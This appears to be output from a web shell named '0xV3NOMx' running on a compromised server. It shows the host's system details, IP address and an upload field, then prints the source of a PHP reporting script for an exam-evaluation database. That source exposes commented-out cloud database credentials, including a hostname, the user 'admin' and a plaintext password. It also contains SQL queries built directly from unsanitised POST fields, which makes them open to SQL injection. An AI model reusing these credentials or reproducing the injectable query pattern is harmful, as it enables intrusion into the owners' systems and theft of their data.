0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.227.52.111


Current Path : /var/www/html/rcub/
Upload File :
Current File : /var/www/html/rcub/getQPdet1.php

<?php

// $servername = "logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com";
// $username   = "admin";
// $password  = "Logisys2104";

include("/var/www/config.php");
$servername = SERVERNAME;
    $username   = USERNAME;
    $password  = PASSWORD;
$conn = new  mysqli($servername, $username, $password);
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}

$db = "logisys3_rcu";


$fdeggrp = $_POST['fdeggrp'];
$type = $_POST['type'];


if ($type != 'board')
    $fboard = $_POST['fboard'];

if ($type == 'board') {

    $Query = "select distinct m.fboardcode, m.fboardname FROM {$db}.masboard m 
	inner join {$db}.masqp q on 
	q.fboard = m.fboardcode
	where fdeggrp = '{$fdeggrp}' and fcodecount>0 order by m.fboardcode";
    $result = mysqli_query($conn, $Query);
    $i = 0;
    while ($row = mysqli_fetch_assoc($result)) {
        $row1[$i] = $row;
        $i++;
    }

    echo json_encode($row1);
    return;
} else {
    $sem = $_POST['sem'];
    $status = $_POST['status'];

    if ($sem == "") {
        $cnd = "";
    } else {
        $cnd = " and m.fexamno = '{$sem}'";
    }

    if ($status == "") {
        $cnd2 = "";
    } else if ($status == "Completed") {
        $cnd2 = "and (ifnull(ftotpkt1,0) - ifnull(fvalpkt1,0)) = 0";
    } else if ($status == "Pending") {
        $cnd2 = "and (ifnull(ftotpkt1,0) - ifnull(fvalpkt1,0)) <> 0";
    }


    $Query = "select m.fboard,m.fqpcode, m.fsubname, ifnull(m.fspresent,0) as fspresent, 
	ifnull(m.fapresent,0) as fapresent, ifnull(m.fcodecount,0) as fcodecount,
	ifnull(m.ftotpkt1,0) as ftotpkt1, ifnull(m.fvalpkt1,0) as fvalpkt1,
	ifnull(m.ftotpkt2,0) as ftotpkt2, ifnull(m.fvalpkt2,0) as fvalpkt2,
    group_concat(distinct s.fdegree SEPARATOR ' / ') as fdegreerange,  
    ifnull(s.fexamno,'') as fexamno
	from {$db}.masqp m inner join {$db}.subject s on m.fqpcode = s.fqpcode
    where m.fcodecount>0 and m.fboard like '{$fboard}' 
    and m.fdeggrp = '{$fdeggrp}'	{$cnd} {$cnd2} 
    group by m.fqpcode
    order by m.fboard,m.fqpcode";
    // var_dump($Query);
    // die();
    $result = mysqli_query($conn, $Query);
    $i = 1;
    $html .= "<tr class='bg-green'>
            <th width='4%'><center>Sl. No.</center></th>
            <th width='8%'><center>Board</center></th>
            <th width='8%'><center>Qp. Code</center></th>
            <th width='48%'><center>Subject Name</center></th>
            <th width='10%'><center>Sem</center></th>
            <th width='20%'><center>Degree Range</center></th>
            <th width='8%'><center>Coded Scripts</center></th>";
            if($fdeggrp == 'PHD')
            {
                $html .="<th width='8%'><center>1st Total Packets</center></th>
                <th width='8%'><center>1st Valued Packets</center></th>
                <th width='8%'><center>1st Pending Packets</center></th>
                <th width='8%'><center>2nd Total Packets</center></th>
                <th width='8%'><center>2nd Valued Packets</center></th>
                <th width='8%'><center>2nd Pending Packets</center></th>";
            }else
            {
                $html .="<th width='8%'><center>Total Packets</center></th>
                <th width='8%'><center>Valued Packets</center></th>
                <th width='8%'><center>Pending Packets</center></th>";
            }

    $totspresent = 0;
    $totapresent = 0;
    $totcodecount = 0;
    $pencodepend = 0;
    $totpkt1 = 0;
    $totvalpkt1 = 0;
    $totvalpend1 = 0;
    $tottotpkt2 = 0;
    $totvalpkt2 = 0;
    $totvalpend2 = 0;

    $html .= "</tr>";
    while ($row = mysqli_fetch_assoc($result)) {
        $codepend = $row['fapresent'] - $row['fcodecount'];
        $valpend1 = $row['ftotpkt1'] - $row['fvalpkt1'];
        $valpend2 = $row['ftotpkt2'] - $row['fvalpkt2'];
        if ($codepend < 0)
            $codepend = 0;

        if ($valpend1 < 0)
            $valpend1 = 0;

        if ($valpend2 < 0)
            $valpend2 = 0;


        $totspresent = $totspresent + $row['fspresent'];
        $totapresent = $totapresent + $row['fapresent'];
        $totcodecount = $totcodecount + $row['fcodecount'];
        $pencodepend = $pencodepend + $codepend;

        $totpkt1 = $totpkt1 + $row['ftotpkt1'];
        $totvalpkt1 = $totvalpkt1 + $row['fvalpkt1'];
        $totvalpend1 = $totvalpend1 + $valpend1;

        $tottotpkt2 = $tottotpkt2 + $row['ftotpkt2'];
        $totvalpkt2 = $totvalpkt2 + $row['fvalpkt2'];
        $totvalpend2 = $totvalpend2 + $valpend2;



        $html .= "<tr>
        <td><center>{$i}</center></td>
        <td><center>{$row['fboard']}</center></td>
        <td><center>{$row['fqpcode']}</center></td>
        <td>{$row['fsubname']}</td>
        <td><center>{$row['fexamno']}</center></td>
        <td>{$row['fdegreerange']}</td>
        <td style='text-align:center'>" . moneyFormatIndia($row['fcodecount']) . "</td>";

        if($fdeggrp == 'PHD')
		{	 
		  $html .="<td style='text-align:center'>".moneyFormatIndia($row['ftotpkt1'])."</td>
		  <td style='text-align:center'>".moneyFormatIndia($row['fvalpkt1'])."</td>
		  <td style='text-align:center'>".moneyFormatIndia($valpend1)."</td>
		  <td style='text-align:center'>".moneyFormatIndia($row['ftotpkt2'])."</td>
		  <td style='text-align:center'>".moneyFormatIndia($row['fvalpkt2'])."</td>
		  <td style='text-align:center'>".moneyFormatIndia($valpend2)."</td>";
		}else
        {

        $html .=" <td style='text-align:center'>" . moneyFormatIndia($row['ftotpkt1']) . "</td>
        <td style='text-align:center'>" . moneyFormatIndia($row['fvalpkt1']) . "</td>
        <td style='text-align:center'>" . moneyFormatIndia($valpend1) . "</td>";
        }
        $html .= "</tr>";
        $i++;
    }

    $html .= "<tr>
    <td colspan='6'  style='text-align:center'><b>Total</b></td>
    <td style='text-align:center'><b>" . moneyFormatIndia($totcodecount) . "</td>";
    if($fdeggrp == 'PHD')
    {
        $html .= "<td style='text-align:center'><b>" . moneyFormatIndia($totpkt1) . "<b></td>
        <td style='text-align:center'><b>" . moneyFormatIndia($totvalpkt1) . "<b></td>
        <td style='text-align:center'><b>" . moneyFormatIndia($totvalpend1) . "<b></td>
        <td style='text-align:center'><b>" . moneyFormatIndia($tottotpkt2) . "<b></td>
        <td style='text-align:center'><b>" . moneyFormatIndia($totvalpkt2) . "<b></td>
        <td style='text-align:center'><b>" . moneyFormatIndia($totvalpend2) . "<b></td>";

    }else
    {
        $html .= "<td style='text-align:center'><b>" . moneyFormatIndia($totpkt1) . "<b></td>
        <td style='text-align:center'><b>" . moneyFormatIndia($totvalpkt1) . "<b></td>
        <td style='text-align:center'><b>" . moneyFormatIndia($totvalpend1) . "<b></td>";
    }
    $html .= "</tr>";

    echo $html;
}

function moneyFormatIndia($num)
{
    $explrestunits = "";
    if (strlen($num) > 3) {
        $lastthree = substr($num, strlen($num) - 3, strlen($num));
        $restunits = substr($num, 0, strlen($num) - 3); // extracts the last three digits
        $restunits = (strlen($restunits) % 2 == 1) ? "0" . $restunits : $restunits; // explodes the remaining digits in 2's formats, adds a zero in the beginning to maintain the 2's grouping.
        $expunit = str_split($restunits, 2);
        for ($i = 0; $i < sizeof($expunit); $i++) {
            // creates each of the 2's group and adds a comma to the end
            if ($i == 0) {
                $explrestunits .= (int)$expunit[$i] . ","; // if is first value , convert into integer
            } else {
                $explrestunits .= $expunit[$i] . ",";
            }
        }
        $thecash = $explrestunits . $lastthree;
    } else {
        $thecash = $num;
    }
    return $thecash; // writes the final format where $currency is the currency symbol.
}